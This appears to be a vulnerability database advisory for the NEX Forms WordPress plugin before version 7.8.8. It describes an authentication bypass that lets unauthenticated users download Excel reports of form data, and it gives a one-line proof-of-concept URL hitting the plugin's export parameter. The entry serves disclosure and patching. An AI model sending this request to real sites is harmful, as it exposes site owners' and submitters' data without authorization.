Lucene search

K
wpvulndbWpvulndbWPVDB-ID:D7E6BF88-1912-42E3-8139-9A606ED2989F
HistoryJul 20, 2021 - 12:00 a.m.

NEX Forms < 7.8.8 - Authentication Bypass for Excel Reports

2021-07-2000:00:00
wpscan.com
5

The plugin was vulnerable to Authentication Bypass for Excel Reports allowing unauthenticated attackers to download Excel reports.

PoC

http://www.example.com/wp-admin/admin.php?page=nex-forms-dashboard&amp;export;_csv=true

CPENameOperatorVersion
nex-formslt7.8.8
Related for WPVDB-ID:D7E6BF88-1912-42E3-8139-9A606ED2989F